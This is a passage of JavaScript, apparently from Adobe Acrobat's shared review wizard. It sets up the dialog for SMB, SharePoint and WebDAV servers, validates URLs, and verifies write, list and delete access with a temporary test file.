					    toShow.wks1 = false;

					    toShow.wks2 = false;

					    toShow.dcl1 = false;

					    toShow.dcl2 = false;

						toShow.chs1 = false;

						toShow.chs2 = false;

						toShow.chs3 = false;

						

						// 2. Load strings corresponding to SNF

						toLoad.txt1 = AnnotsString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_SMB;

						toLoad.butt = AnnotsString.IDS_BROWSE;

						toLoad.des1 = SharedString("IDS_SHARED_REVIEW_SMB_DESCRIPTION" + WT);

						if (WT == "_FD")

						    toLoad.des2 = SharedString("IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_STR2_FD");

						toEnable.butt = true;

						

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						// 1. Hide controls for other server types

						toShow.butt = false; //For SharePoint, we will not show the 'Get Subsites button'

						toShow.chs1 = true;

						toShow.chs2 = true;

						toShow.chs3 = true;

						

						// 2. Load strings corresponding to SNF

						toLoad.txt1 = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_INSTRUCTION;

						toLoad.butt = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACES;

						toLoad.wks2 = (this.data.sharepoint.location && this.data.sharepoint.location != "") ?  this.data.sharepoint.location : "";

						toLoad.dcl2 = (this.data.sharepoint.location && this.data.sharepoint.location != "") ?  this.data.sharepoint.location : "";

						toLoad.des1 = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DESCRIPTION;

						

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						// 1. Hide controls for other server types

					    toShow.butt = false;

					    toShow.wks1 = false;

					    toShow.wks2 = false;

					    toShow.dcl1 = false;

					    toShow.dcl2 = false;

						toShow.chs1 = false;

						toShow.chs2 = false;

						toShow.chs3 = false;

						

						// 2. Load strings corresponding to WebDAV

						toLoad.txt1 = AnnotsString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_URL;

						toLoad.butt = AnnotsString.IDS_SHARED_REVIEW_SMB_BROWSE_BUTTON;

						toLoad.des1 = AnnotsString.IDS_SHARED_REVIEW_WEBDAV_DESCRIPTION;

						toEnable.butt = false;

						

						break;

					}

				}

				

				//hide the server selection radio button if there's only one option (as in Form Distribution on MAC)

				if(serverDesc.length == 1) 

				{

					toShow.hdng = false;

					toShow.svr0 = false;				

				}

				

				dialog.focus("loct");

				dialog.load(toLoad);

				dialog.visible(toShow);

				dialog.enable(toEnable);

			},

			

			idle: function(dialog)

			{

				var toUpdate = {};

				var toEnable = {};

				var toShow = {}; //add all those that should be hidden as false

				if(this.data.reviewType == "FormDistribution")

                {

                    toEnable.prev = false;

                }

				var r_id = this.getSelectedID();

				

				var item = this.data.serverControls[r_id].initiatorName;

				

				if (item == AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME)

				{

				    if (this.data.sharepoint.defaultDocumentLibrary)

				    {

				        toShow.wks1 = false;

				        toShow.wks2 = false;

				        toShow.dcl1 = false;

				        toShow.dcl2 = false;

				    }

				    else

				    {

				        toShow.wks1 = true;

				        toShow.wks2 = true;

				        toShow.dcl1 = true;

				        toShow.dcl2 = true;

				    }

				}



				if (item == AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME)

				{

					if(this.data.webdav.bDoCommit)

					{

						if (this.data.webdav.bCommitCanBeDone)

						{

							this.data.webdav.bDoCommit = false;

							this.data.webdav.bCommitCanBeDone = false;

							dialog.next();

							return;

						}

					}

				}

				

				if (item == AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME)

				{

				    if (this.data.sharepoint.bDoDefaultCommit)

				    {

				        if (this.data.sharepoint.bDoDefaultCommitCanBeDone)

				        {

				            this.data.sharepoint.bDoDefaultCommit = false;

				            this.data.sharepoint.bDoDefaultCommitCanBeDone = false;

				            dialog.next();

				            return;

				        }

				    }

				}



				if (this.data.previousItemName != item)

				{

					toUpdate.r_id = true;

					toShow.chs4 = false;

					this.data.previousItemName = item;

					switch (item)

					{

						case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

						

							//Shared Network Folder case

							

							// 1. Hide controls for other server types

							toShow.butt = true;

							toShow.chs1 = false;

							toShow.chs2 = false;

							toShow.chs3 = false;

							

							// 2. Load strings corresponding to SNF

							toUpdate.txt1 = AnnotsString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_SMB;

							toUpdate.butt = AnnotsString.IDS_BROWSE;

							toUpdate.des1 = SharedString("IDS_SHARED_REVIEW_SMB_DESCRIPTION" + WT);

							toEnable.butt = true;

							

							// 3. Load in the edit field

							

							if (this.data.oSavedSMBState.cURL == undefined)

							{

							    app.beginPriv();

							    var customURL = Collab.getCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/SMB');

							    app.endPriv();



							    if (customURL == undefined) {

							        if (app.platform == "WIN")

							            customURL = AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_WIN;

							        else

							            customURL = AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_MAC;

							    }



							    toUpdate.loct = customURL;

							}

							else

								toUpdate.loct = this.data.oSavedSMBState.cURL;

												

							break;

						

						case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

							//SharePoint Workspace case

							

							// 1. Hide controls for other server types

						    toShow.butt = false; //For SharePoint, we will not show the 'Get Subsites button'

							toShow.chs1 = true;

							toShow.chs2 = true;

							toShow.chs3 = true;

							

							// 2. Load strings corresponding to SNF

							toUpdate.txt1 = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_INSTRUCTION;

							toUpdate.butt = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACES;

							toUpdate.wks2 = (this.data.sharepoint.location && this.data.sharepoint.location != "") ?  this.data.sharepoint.location : "";

							toUpdate.dcl2 = (this.data.sharepoint.location && this.data.sharepoint.location != "") ?  this.data.sharepoint.location : "";

							toUpdate.des1 = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DESCRIPTION

							

							app.beginPriv();

							var customURL = Collab.getCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint');

							app.endPriv();



							if (customURL == undefined) {

							    customURL = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_SUGGESTION;

							}



							// 3. Load in the edit field

							toUpdate.loct = (this.data.oSavedSharePointState.cURL == undefined)

												? customURL

												: this.data.oSavedSharePointState.cURL;

							break;

						

						case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

						{

							// 1. Hide controls for other server types

							toShow.butt = false;

							toShow.chs1 = false;

							toShow.chs2 = false;

							toShow.chs3 = false;

							

							// 2. Load strings corresponding to WebDAV

							toUpdate.txt1 = AnnotsString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_URL;

							toUpdate.butt = AnnotsString.IDS_SHARED_REVIEW_SMB_BROWSE_BUTTON;

							toUpdate.des1 = AnnotsString.IDS_SHARED_REVIEW_WEBDAV_DESCRIPTION;

							toEnable.butt = false;



							app.beginPriv();

							    var customURL = Collab.getCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/WebDAV');

							app.endPriv();

                            					   

							if (customURL == undefined) {

							    customURL = AnnotsString.IDS_SHARED_REVIEW_WEBDAV_SUGGESTION;

							}





						    // 3. Load in the edit field

							toUpdate.loct = (this.data.oSavedWebDavState.cURL == undefined)

												? customURL

												: this.data.oSavedWebDavState.cURL;



							break;

						}

					

						default:

						{

							//TODO: dikumar: see what all to do here

							toUpdate.txt1 = "";

							toUpdate.butt = AnnotsString.IDS_BROWSE;

							toUpdate.des1 = "";

							

							toShow.butt = true;

							toShow.chs1 = false;

							toShow.chs2 = false;

							toShow.chs3 = false;

							

							toEnable.next = false;

							

							break;

						}							

					}

				}



				switch (item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

					{

						// 3. Enable next if url is valid and if there is a url (obvious)

			            var url = this.getServerURL();

				        var ok = false;

						

						// verify smb://{host}/{share} where {host} and {share} are not empty

						if (url.length > 6 && url.substr(0,6) == "smb://")

						{

							var pos = 6;	// start beyond the scheme

							var searchPos;

							// scan past the host

							for (searchPos = pos ; searchPos < url.length ; searchPos++)

								if (url.charAt(searchPos) == '/') break;

							// verify we have an non-empty host (and still more to parse)

							if (searchPos > pos && searchPos < url.length)

							{

								searchPos++;	// skip over the '/'

								for (pos = searchPos ; searchPos < url.length ; searchPos++)

									if (url.charAt(searchPos) == '/') break;

								

								// if we've gotten this far then we're OK if the share name is non-empty

								ok = (searchPos != pos);

							}

						}

						

				        if (!ok && app.platform == "WIN")

							ok = (url.length >= 3 && url.substr(0,2) == "\\\\" && url.charAt(2) != '\\');

						

						if (ok)

						{

							if (app.platform == "WIN")

								ok = (url != ANPlatformPathToURL(AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_WIN));

							else

								ok = (url != ANPlatformPathToURL(AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_MAC));

						}

							

				        toEnable.next = ok;

						break;

					}



				    case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

				        {

				            if (!this.data.sharepoint.defaultDocumentLibrary)

				            {

				                // 3. Enable workspaces button

				                var url = dialog.store()["loct"];

				                var ok_ws = (url.match(/^http[s]?\:\/\/.+/) != null)

				                toEnable.butt = ok_ws;



				                // 4. Enable the verify, next buttons

				                var ok_next = (this.data.sharepoint.location && this.data.sharepoint.location != "");

				                toEnable.next = ok_next && ok_ws;

				            }

				            else

				            {

				                var url = dialog.store()["loct"];

				                var ok = (url.match(/^http[s]?\:\/\/.+\//) != null) && (url != AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_SUGGESTION);

				                dialog.enable({ next: (ok && !this.data.sharepoint.bDoDefaultCommit) });

				            }

				            break;

				        }



					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						// 3. Enable/disable the next and verify buttons depending on the URL

						var url = dialog.store()["loct"];

						var ok = (url.match(/^http[s]?\:\/\/.+\//) != null) && (url != AnnotsString.IDS_SHARED_REVIEW_WEBDAV_SUGGESTION);

						dialog.enable({next: (ok && !this.data.webdav.bDoCommit)});

						break;

					}

					default:

					{

						break;

					}

				}

				

				dialog.load(toUpdate);

				dialog.enable(toEnable);

				dialog.visible(toShow);

				return;

			},

			

			commit: function(dialog, next)

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				this.data.previousSelectedID = r_id;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

					//Shared Network Folder case

					{

				    	this.data.serverType = AnnotsString.IDS_SHARED_REVIEW_SMB_NAME;



					    if (next)

					    {

					        var verified = true;

						    var url = this.getServerURL();

	

						    if (url != this.data.smb.cVerifiedURL)

						    {

						        verified = this.verifyURLSNF(url);

						        if (this.data.smb.cVerifiedURL != null)

						        	this.setURLSNF(dialog, this.data.smb.cVerifiedURL);

						    }

	    					

						    if (verified)

						        this.data.smb.oConfig.cSetting = this.data.smb.cVerifiedURL; // dialog.store()["loct"];

						    else

						        DebugThrow (AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);

				        }

				        

					    this.data.oSavedSMBState.cURL = dialog.store()["loct"];

					    this.data.oSavedSMBState.cVerifiedURL = this.data.smb.cVerifiedURL;

					    this.data.oSavedSMBState.cStatus = dialog.store()["stat"];



					    app.beginPriv();

					    Collab.setCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/SMB', this.data.oSavedSMBState.cURL);

					    app.endPriv();



						break;							

					}

				    case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

				        {

				            this.data.serverType = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME;

				            if (next && !this.data.sharepoint.defaultDocumentLibrary)

				            {

				                var url = this.getSharePointServerURL();

				                if (url != this.data.sharepoint.cVerifiedURL) {

				                    this.data.sharepoint.bDoCommit = true;

				                    this.verifySPF(dialog);

				                    DebugThrow("URL requires verification");

				                }



				                this.data.sharepoint.oConfig.cSetting = this.data.sharepoint.cVerifiedURL;

				                this.data.sharepoint.oConfig.bUseWindowsIntegratedAuthentication = true;

				            }

				            else if (next && this.data.sharepoint.defaultDocumentLibrary)

				            {

				                var url = CBEncodeURL(dialog.store()["loct"], true);

				                if (url.length > 0 && url.charAt(url.length - 1) != "/")

				                    url += "/";

				                if (url != this.data.sharepoint.cVerifiedURL)

				                {

				                    this.data.sharepoint.bDoDefaultCommit = true;

				                    this.setStatus(AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DEFAULTDOCLIB_CREATION);

				                    var documentLibrary;

				                    if (this.data.reviewType == "SharedReview")

				                        documentLibrary = 'AcrobatSharedReviews';

				                    else if (this.data.reviewType == "FormDistribution")

				                        documentLibrary = 'AcrobatFormsDistribution';

				                    this.createDocumentLibrary(url, documentLibrary, true, this, dialog);

				                    DebugThrow("Document Library could not be created");

				                }

				            }

				            this.data.oSavedSharePointState.cURL = dialog.store()["loct"];

				            this.data.oSavedSharePointState.cVerifiedURL = this.data.sharepoint.cVerifiedURL;

				            this.data.oSavedSharePointState.cStatus = dialog.store()["stat"];



				            app.beginPriv();

				            Collab.setCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint', this.data.oSavedSharePointState.cURL);

				            app.endPriv();



				            break;

				        }

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.data.serverType = AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME;

						var props = dialog.store();

						if(next)

						{

						    var url = props["loct"];

						    

						    if (url != this.data.webdav.cVerifiedURL)

						    {

						    	dialog.enable({"next": false});

								this.data.webdav.bDoCommit = true;

								this.data.webdav.cVerifyURL = url;

								this.verifyWD(dialog);

								

								DebugThrow ("URL requires verification");

							}

	    					

	    					this.data.oSavedWebDavState.cURL = dialog.store()["loct"];

					        this.data.webdav.oConfig.cSetting = this.data.webdav.cVerifiedURL;

							this.data.webdav.oConfig.bUseWindowsIntegratedAuthentication = this.data.webdav.bUseWindowsIntegratedAuthentication;

					        

						}

					    this.data.oSavedWebDavState = 

						{

							cURL :  props["loct"],

							cVerifiedURL: this.data.webdav.cVerifiedURL,

							cStatus: props["stat"],

							bUseWindowsIntegratedAuthentication: this.data.webdav.bUseWindowsIntegratedAuthentication,

						};



					    app.beginPriv();

					    Collab.setCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/WebDAV', this.data.oSavedWebDavState.cURL);

					    app.endPriv();



					    break;



					}

				}

			},			

			

			showChooseSubsite : function (oDidHappen, dialog) {

				this.setStatus(AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIALIZE);

				this.sharePointwiz(dialog);

			},



			connectSubsite : function (baseURL, docLibName, oDidHappen, dialog) {

				var params = {

					cVerb: "CONNECT",

					cURL: baseURL,

					"isSPCallSite": true,

				}

				app.beginPriv();

				Net.HTTP.request(params);

				app.endPriv();

				this.createDocumentLibrary(baseURL, docLibName, false, oDidHappen, dialog);

			},



			createDocumentLibrary : function (baseURL, docLibName, logOnce, oDidHappen, dialog) {

				var formDigestValue = undefined;

				var formDigestParams = {

					cVerb: "POST",

					cURL: baseURL + '_api/contextinfo',

					oAuthenticate: {

						UsePlatformAuth: true

					},

					aHeaders: [{

						name: "accept",

						value: "application/json; odata=verbose"

					}],

					oHandler: {

						oNotify: oDidHappen,

						response: function (msg, uri, e) {

							if (msg.error == 404)

								this.oNotify.showChooseSubsite(oDidHappen, dialog); //Fix for bug4200131

							else if ((msg.error == 403||msg.error==401 ||msg.error==600) && logOnce)

								this.oNotify.connectSubsite(baseURL, docLibName, oDidHappen, dialog);

							else {

								if (e != undefined)

									this.oNotify.onErrorCreation();

								else {

																	  try {

									 var data = JSON.parse(SOAP.stringFromStream(msg));

									 formDigestValue = data.d.GetContextWebInformation.FormDigestValue;

									 this.oNotify.createLibrary(baseURL, formDigestValue, docLibName, oDidHappen);

									  }

								   catch(e)

									{

										if(logOnce)

											this.oNotify.connectSubsite(baseURL, docLibName, oDidHappen, dialog);

										else

											this.oNotify.onErrorCreation();	

									}

								}

							}

						}

					},

					"isSPCallSite": true,

				};

				app.beginPriv();

				formDigestParams.oHandler = ANTrustPropagateAll(formDigestParams.oHandler);

				var response = Net.HTTP.request(formDigestParams);

				app.endPriv();

			},



			createLibrary : function (baseURL, formDigestValue, docLibName, oDidHappen) {

				if (formDigestValue != undefined) {

					var docLibraryParams = {

						cVerb: "POST",

						cURL: baseURL + '/_api/web/lists',

						oAuthenticate: {

							UsePlatformAuth: true

						},

						aHeaders: [{

							name: "accept",

							value: "application/json; odata=verbose"

						}, {

							name: "content-type",

							value: "application/json; odata=verbose"

						}, {

							name: "X-RequestDigest",

							value: formDigestValue

						}],

						oRequest: SOAP.streamFromString(JSON.stringify({

							'__metadata': {

								'type': 'SP.List'

							},

							'ForceCheckout': false,

							'EnableVersioning': false,

							'AllowContentTypes': true,

							'BaseTemplate': 101,

							'ContentTypesEnabled': true,

							'Description': docLibName,

							'Title': docLibName

						})),

						oHandler: {

							oNotify: oDidHappen,

							response: function (msg, uri, e) {

								if (e != undefined && msg.error != 500)

									this.oNotify.onErrorCreation();

								else

									this.oNotify.onSuccessfulCreation(baseURL);

							}

						},

						"isSPCallSite": true,

					};

					app.beginPriv();

					docLibraryParams = ANTrustPropagateAll(docLibraryParams);

					docLibraryParams.oHandler = ANTrustPropagateAll(docLibraryParams.oHandler);

					Net.HTTP.request(docLibraryParams);

					app.endPriv();

				}

			},



			

			help: function(dialog)

			{

				app.beginPriv();

				Collab.launchHelpViewer("Internal_Server");

				app.endPriv();

			},



			getSelectedID: function()

			{

			    var props = this.dialog.store();

				for (var i in this.data.serverControls)

				{

					if (props[i])

						return i;

				}

				return "svr0";

			},



			updateServerTypes: function()

			{

				var didSelect = false;

			},



			getServerURL: function()

			{

				var url;

				

				var dlgData = this.dialog.store();

				url = ANPlatformPathToURL(dlgData["loct"]);

		

				// ensure the URL ends with a '/'

				if (url.length > 0 && url.substr(-1) != "/")

					url = url + "/";

					

				return url;

			},

			

			setURL: function(dialog, url)

			{

				dialog.load({ "loct": url });

			},



			setStatus: function(status)

			{

				var statusStr = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE;

				

                

				this.dialog.load({ "stat": statusStr.replace(/{cStatus}/, status) });

				this.dialog.resize("stat");

                if (status == AnnotsString.IDS_SHARED_REVIEW_SMB_FOLDER_CREATE_ERR && app.isProtectedModeEnabled) {

                    this.dialog.visible({"chs4":true});

                    this.dialog.focus("chs4");

                }

			},



/***********************************************************************************************************************************/			

//The following is for Shared Network Folder stuff



			// takes an SMB URL and verifies whether it is valid for a shared review by

			// verifying the following:

			//		* a review folder can be created relative to the URL

			//		* a file can be put to the newly created folder

			//		* files can be enumerated in the folder

			//		* the review folder (and its contents) can be deleted

			verifyURLSNF: function(smbURL)

			{

				var verifyResult;

				var errorString;

				var folderURI;

				

				app.beginPriv();

				folderURI = encodeSMBurl(smbURL);

				DebugAlert("smbURL" + smbURL);

				if (folderURI && folderURI.length > 0)

				{

					globalCheckForSameSMBLocation (smbURL , this.data);

					// create a review folder

					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE);

					folderURI += "com.adobe.acrobat";

					verifyResult = Collab.uriCreateFolder(folderURI);

					if (!verifyResult)

					{

						errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_FOLDER_CREATE_ERR;

					}



					// put a file to the review folder

					if (verifyResult)

					{

						var data = SOAP.streamFromString("Testing Writeablility");

						var fileURI = folderURI + "/testfile.txt";

						var deleteResult;

						verifyResult = Collab.uriPutData(fileURI, data);

						if (!verifyResult)

						{

							errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_FILE_WRITE_ERR.replace(/%url%/, fileURI);

						}

					}

					

					// enumerate files in the review folder

					if (verifyResult)

					{

						this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE);

						var enumerator = Collab.uriEnumerateFiles(folderURI);

					do {

						fileURI = enumerator.uriNextFile();

						if (fileURI) {

								deleteResult = Collab.uriDeleteFile(encodeSMBurl(fileURI));

								if (!deleteResult)

								{

									errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_ENUM_FILE_ERR.replace(/%url%/, fileURI);

									verifyResult = false;

									break;

								}

							}

						} while (fileURI);

					}



					// delete the review folder

					if (verifyResult)

					{

						deleteResult = Collab.uriDeleteFolder(folderURI);

						if (!deleteResult)

						{

							errorString = AnnotsString.IDS_SHARED_REVIEW_SMB_DELETE_FOLDER_ERR.replace(/%url%/, folderURI);

							verifyResult = false;

						}

					}

				}

				else

				{

					// empty URL - report appropriate error

					verifyResult = false;

					errorString = AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID;

				}

				DebugAlert("smbURL" + smbURL);

				if (verifyResult)

				{

					// Fix for the bug 2650003: uriNormalize already unescaped the string and calling decode URI on the same is not correct.

					// Hence removing decodeURI.

					this.data.smb.cVerifiedURL = Collab.uriNormalize(encodeSMBurl(smbURL));

					DebugAlert("this.data.smb.cVerifiedURL" + this.data.smb.cVerifiedURL)

				}

				app.endPriv();

				this.setStatus(verifyResult ? AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED : errorString);

				return verifyResult;

			},



			setURLSNF: function(dialog, url)

			{

				dialog.load({ "loct": (ANSMBURLToPlatformPath(url)) });

			},



			brwsSNF: function(dialog)

			{

				try

				{

					app.beginPriv();

					var folderURI = Collab.browseForNetworkFolder();

					app.endPriv();

					DebugAlert("folderURI" + folderURI);

					if (folderURI && folderURI.length > 0) 

					{

						if (folderURI.charAt(folderURI.length - 1) != "/") 

							folderURI += "/";

						if (this.verifyURLSNF(folderURI)) 

						{

							this.setURLSNF(dialog, this.data.smb.cVerifiedURL);

							return;

						}

					}

				}

				catch (e)

				{

					if (e.message == "Volume Mount Exception")

					{

						var errMsg;

						switch (Number(e.errorCode))

						{

							case 1:

								errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR;

								break;

							case 3:

								errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_MOUNT_ERROR;

								break;

							default:

								errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_ERROR;

								break;

						}



						app.beginPriv();

						app.alert(errMsg);

						app.endPriv();

						DebugThrow ("VolMountError");

					}

				}

			},

				

			verifySNF: function(dialog)

			{

				var url = this.getServerURL();

				if (this.verifyURLSNF(url))

				{

					this.setURLSNF(dialog, this.data.smb.cVerifiedURL);   // set the URL since we may have normalized it

				}

			},

				

//The above is for Shared Network Folder stuff

/***********************************************************************************************************************************/			

/***********************************************************************************************************************************/			

//The following is for Webdav related stuff



			verifyNextStateWD: function()

			{

				var state = this.data.webdav.aStates[this.data.webdav.nState];

				var task = "";



				switch(state)

				{

					case "writeable":

						var data = SOAP.streamFromString("Testing Writeablility");

						Net.HTTP.WebDAV.PutFile(this.data.webdav.cFileURL, data, this, this.data.webdav.oAuth);

						task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE;

						break;



					case "enumerable":

						Net.HTTP.WebDAV.EnumerateCollection(this.data.webdav.cFileURL, this, this.data.webdav.oAuth);

						task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_READ;

						break;



					case "removeable":

						Net.HTTP.WebDAV.DeleteFile(this.data.webdav.cFileURL, this, this.data.webdav.oAuth);

						task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE;

						break;

				}



				this.setStatus(task);

			},



			onErrorWD: function(e)

			{

				if (e.text && e.text == AnnotsString.IDS_UNAUTHORIZED && this.data.webdav.bUseWindowsIntegratedAuthentication == false)

				{

					//try using the platform auth now

					//set the bUseWindowsIntegratedAuthentication to true.

					this.data.webdav.bUseWindowsIntegratedAuthentication = true;

					this.verifyWD(this.dialog);

				}

				else

				{

					app.beginPriv();

					app.alert(AnnotsString.IDS_SHARED_REVIEW_NETWORK_FAILED_ALERT);

					app.endPriv();

					this.onVerifyFailureWD(e.text ? e.text : AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN);

				}

			},



			onVerifySuccessWD: function()

			{

				this.data.webdav.nState++;

				if(this.data.webdav.nState >= this.data.webdav.aStates.length)

				{

					this.data.webdav.cVerifiedURL = this.data.webdav.cVerifyURL;

					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED);

					this.dialog.enable({"next": true});

					if(this.data.webdav.bDoCommit)

					{

						this.data.webdav.bCommitCanBeDone = true;

						//this.commit(this.dialog, true);

					}

				}

				else this.verifyNextStateWD();

			},



			onVerifyFailureWD: function(msg)

			{

				this.setStatus(msg);

				this.dialog.enable({"next": true});

				this.data.webdav.bDoCommit = false;

			},



			onEnumerateFileWD: function(resource)

			{

				var state = this.data.webdav.aStates[this.data.webdav.nState];

				if(state == "enumerable" && !this.data.webdav.bFoundFile)

				{

					try

					{

						var oURL = util.crackURL(resource.url);

						this.data.webdav.bFoundFile = oURL.cHost == this.data.webdav.oFileURL.cHost &&

										oURL.cPath == this.data.webdav.oFileURL.cPath;

					}

					catch(e)

					{

						//console.println(e);

						//console.println(e.stack);

					}

				}

			},



			onEnumerateEndWD: function(resource)

			{

				if(this.data.webdav.bFoundFile) this.onVerifySuccessWD();

				else this.onVerifyFailureWD();

			},



			onPutFileWD: function(status) { this.onVerifySuccessWD(); },

			onDeleteFileWD: function(status) { this.onVerifySuccessWD(); },



			verifyWD: function(dialog)

			{

				var props = dialog.store();

				var url = dialog.store()["loct"];

				

				if (url.length > 0)

				{

					this.data.webdav.nState = 0;

					// ensure the server URL ends with a '/'

					if (url.substr(-1) != "/")

						this.setURL(dialog,  url + "/");

					this.data.webdav.cVerifyURL = dialog.store()["loct"];

					this.data.webdav.oAuth = (this.data.webdav.bUseWindowsIntegratedAuthentication) ? { UsePlatformAuth: true } : {};

					app.beginPriv();

					this.data.webdav.cFileURL = Collab.uriEncode(this.data.webdav.cVerifyURL + "com.adobe.acrobat.webdav.writeability.txt");

					app.endPriv();

					this.data.webdav.oFileURL = util.crackURL(this.data.webdav.cFileURL);

					this.data.webdav.bFoundFile = false;

					this.dialog.enable({"next": false});



					this.verifyNextStateWD();

				}

				else

					this.onVerifyFailureWD(AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);

			},



//The above is for Webdav related stuff

/***********************************************************************************************************************************/			

/***********************************************************************************************************************************/			

//The following is for Sharepoint related stuff



			// query a SharePoint server for the workspaces it is hosting

			sharePointwiz: function(dialog)

			{

			    this.data.sharepoint.defaultDocumentLibrary = true;

			    this.data.sharepoint.bDoDefaultCommit = false;

				var result = [];

				var ns = "http://schemas.microsoft.com/sharepoint/soap/";



				try

				{

				    var url = CBEncodeURL(dialog.store()["loct"], true);

					if(url.length > 0 && url.charAt(url.length - 1) != "/")

						url += "/";

                    

				    // build the request object

					var response = {};

					var request = 

					{

						cURL: url + "_vti_bin/Webs.asmx",

						oRequest:

						{

							GetWebCollection : {}

						},

						cAction: ns + "GetWebCollection",

						bEncoded: false,

						cNamespace: ns,

						oAuthenticate: { UsePlatformAuth: true },

						cResponseStyle: "Message"

					};

					

					// send the request and process the response

					try

					{

						response = SOAP.request(request);

					}

					catch(e)

					{

						if(e.toString().indexOf('E_ACCESSDENIED') != -1)

						{

							var params =

							{

								cVerb: "CONNECT",

								cURL: url

							}

							app.beginPriv();

							Net.HTTP.request(params);

							app.endPriv();

							response = SOAP.request(request);

						}

						else

						{

							throw (e);

						}

					}

					

					this.data.sharepoint.sites = response[0].soapValue[0].soapValue[0].soapValue;



					var desc = IWShowSharepointWorkspace(this.data, dialog);

					app.beginPriv();

					var result = app.execDialog(desc);

					app.endPriv();

					{

						

						if (result == "ok")

						{

							var toLoad = {};

							var url = this.data.sharepoint.location;

							

							if(url != null)

							{ 

								if (url.substr(-1) != "/")

	    			                url += "/";

	

								var temp = new Array();

								temp = url.split('/');

								

								var workspaceName = temp[temp.length-3];

								toLoad.wks2 = decodeURI(workspaceName); //Fix for bug4129988

								var documentLibrary = temp[temp.length-2];

								toLoad.dcl2 = decodeURI(documentLibrary); //Fix for bug4129988

								temp = null;

	    			            dialog.load(toLoad);

	    			            this.verifySPF(dialog);	

							}	  

							else

							{

								toLoad.wks2 = "";

	    			            toLoad.dcl2 = "";

	    			            dialog.load(toLoad);

	    			            this.verifySPF(dialog);

							}  			                

						}

						else

						{

							var toUpdate = {};

							this.data.sharepoint.location = "";

							toUpdate.wks2 = "";

							toUpdate.dcl2 = "";

							dialog.load(toUpdate);

						}

					}

				}

				catch(e)

				{

					app.beginPriv();

					app.alert(AnnotsString.IDS_SHARED_REVIEW_NETWORK_FAILED_ALERT);

					app.endPriv();

					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);



					//console.println(e);

					//console.println(e.stack);

				}

			},



			getSharePointServerURL: function()

			{

				var url;

				

				if (this.data.sharepoint.location && this.data.sharepoint.location.length > 0)

				    url = this.data.sharepoint.location;

				else

				{	

					if(this.oDialog != undefined )

					{

					    var dlgData = this.oDialog.store();

					    url = dlgData["loct"];

					}

				}

				

				// ensure the URL ends with a '/'

				if (url != null && url.length > 0 && url.substr(-1) != "/")

					url = url + "/";

				return url;

			},



			verifyNextStateSPF: function()

			{

				var state = this.data.sharepoint.aStates[this.data.sharepoint.nState];

				var task = "";



				switch(state)

				{

					case "writeable":

					    var data = SOAP.streamFromString("Testing Writeablility");

					    Net.HTTP.WebDAV.PutFile(this.data.sharepoint.cFileURL, data, this, { UsePlatformAuth: true });

					    task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE;

